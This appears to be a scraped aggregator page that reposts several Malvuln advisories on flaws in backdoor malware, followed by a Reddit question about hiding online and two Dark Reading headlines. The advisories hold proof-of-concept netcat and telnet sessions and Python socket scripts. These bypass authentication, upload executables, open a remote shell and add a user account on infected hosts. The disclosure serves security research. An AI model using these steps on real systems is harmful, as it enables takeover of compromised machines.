Exploit Collector
Microsoft HTTP Protocol Stack Denial Of Service

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Exploit Collector
Backdoor.Win32.MotivFTP.12 Authentication Bypass

https://3.bp.blogspot.com/-bZ42fSZSr3k/WWlvHn9HijI/AAAAAAAAILg/Inc3JSbnqMk2Mr3Ts5OXFhitf0RPA2_cwCLcBGAs/s1600/h140.png
Backdoor.Win32.MotivFTP.12 malware suffers from an authentication bypass vulnerability.

MD5 | 61728087567c1cd744e947ea1e168649

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/91b2d216c5d26d9db4289acf68fa1743.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 21. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Family: MotivFTP
Type: PE32
MD5: 91b2d216c5d26d9db4289acf68fa1743
Vuln ID: MVID-2022-0544
Disclosure: 04/14/2022
Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 FTP Server ready
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,25).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok
from socket import *
import time

HOST = "192.168.18.125"
PORT = 49689
BUF_SIZE = 32
s=socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))

with open("DOOM.exe", "rb") as f:
while True:
bytez = f.read(BUF_SIZE)
if not bytez:
break
s.send(bytez)
time.sleep(0.5)

print("By malvuln")
s.close()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Psychward.03.a Weak Hardcoded Password

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
Backdoor.Win32.Psychward.03.a malware suffers from a weak hardcoded password vulnerability.

MD5 | f1fb75cc20a83324b7c933bb9065b448

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/d069738f18957117367b8a79195a6a96.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.03.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens in TCP port 69. The password "tyme" is weak and stored in plaintext with the executable.
Family: Psychward
Type: PE32
MD5: d069738f18957117367b8a79195a6a96
Vuln ID: MVID-2022-0548
Dropped files: winvxd.exe
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 69
pwd tyme tyme
psychward revised 0.3, awaiting your command

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.Kilo.016 Denial Of Service

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Exploit Collector
HackTool.Win32.IpcScan.c Buffer Overflow

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Exploit Collector
Backdoor.Win32.NinjaSpy.c Authentication Bypass

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Backdoor.Win32.NinjaSpy.c malware suffers from an authentication bypass vulnerability.

MD5 | 8aa0cadbd181fb8ff7496c48c2cdbef2

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9f39606d9e19771af5acc6811ccf557f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NinjaSpy.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 2003, 2004 and drops a PE file named "cmd.dll" under Windows dir. Connecting to port 2003, you will get back a number "9951" from the infected host. If we send the value 1000 we get a message in Portugese "Pisca Pisca Ativado" translates to "Blink Blink Activated". If we connect to port 2004 and send "abc123" we get message "Acesso negado..." translates to "Access denied". However, if you take the initial number we received earlier (9951) when connecting to port 2003 and apply some calculation we expose hidden functionality. Take the 9951 value and invert the first two digits to 66 and then add together the last two 5 + 1 to equal 6 for a final value of "666". Example, initial number (9951) 99 inverted equals 66 and 5 + 1 = 6. Enter and send the constructed value of "666" to port 2003 and TCP port 999 is opened. Connect to port 999 and you get back a remote shell.
Family: NinjaSpy
Type: PE32
MD5: 9f39606d9e19771af5acc6811ccf557f
Vuln ID: MVID-2022-0552
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 2004
test
Acesso negado...pwd

C:\>nc64.exe x.x.x.x 2003
9952666

C:\>nc64.exe x.x.x.x 999
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user hyp3rlinx abc123 /add
net user hyp3rlinx abc123 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.NetCat32.10 Remote Command Execution

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Backdoor.Win32.NetCat32.10 malware suffers from a remote command execution vulnerability.

MD5 | 7753ae2ba9f27b98ad5f05816bf5003f

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetCat32.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET.
Family: NetCat32
Type: PE32
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3
Vuln ID: MVID-2022-0550
Disclosure: 04/14/2022

Exploit/PoC:
telnet.exe x.x.x.x 6666
HELO
HHEELLPP
========================================================
HELP This help EXIT Quit your session
VER Get Versions
ExitWin Shutdown Windows
CLIP View Clipboard PASS Display Cached Pass
DOWNLOAD Host download file GET Get file from host
EXEC ShellExecute EXECHIDE ShellExecute
SHOW Show Window HIDE Hide Window
MAXALL Max all Windows MINALL Min all Windows
RESTALL Restore Windows LISTWIN List Windows
DESK Set Desktop Color WALL Set Wallpaper
MKDIR Make Directory RMDIR Remove Directory
RM Delete File MOVE Move / Rename File
LS List Directory TELNET Connect another
FUNCAP Rock the CapLock CDROM Open/Close cdrom
========================================================
+OK
EEXXEECC ccaallcc
+OK

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.NetSpy.10 Remote Command Execution

https://3.bp.blogspot.com/-4JQvP0m8T2k/WWlu48OEwdI/AAAAAAAAII8/Zf-K1JUBYisUlMBEUhCPF3Gl3BdQ2zG_gCLcBGAs/s1600/h103.png
Backdoor.Win32.NetSpy.10 malware suffers from a remote command execution vulnerability.

MD5 | 4776d45b8232e4e619f61e67c7c4c3a7

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/45d413b46f1d14a45e8fd36921813d62.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg.
Family: NetSpy
Type: PE32
MD5: 45d413b46f1d14a45e8fd36921813d62
Vuln ID: MVID-2022-0551
Disclosure: 04/14/2022

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=7306
CMD="exec c:\\Windows\\system32\\calc.exe"

def chk_res(s):
res=""
while True:
res += s.recv(512)
break
if "\0" in res or "\n" in res or res == "":
break
return res

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.send(CMD)
time.sleep(1)
print(chk_res(s))
s.close()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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hacking: security in practice
Hiding yourself online

What would be the best ways to hide yourself online? Would it be using proxies, MAC address changer, vpns, etc…

submitted by /u/Crozebtw
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Dark Reading: Attacks/Breaches
Cybersecurity Act of 2022: A Step in the Right Direction With a Significant Loophole

The act contains a loophole added late in the process that will impede progress toward the goal of increasing US cybersecurity: a complete carve-out of DNS from the reporting requirements and other obligations outlined in the bill.

Dark Reading: Attacks/Breaches
CISA Alert on ICS, SCADA Devices Highlights Growing Enterprise IoT Security Risks

Omdia Senior Analyst Hollie Hennessy says the new threat to multiple ICS and SCADA devices underscores the importance of a rapid response to IoT and OT security risks.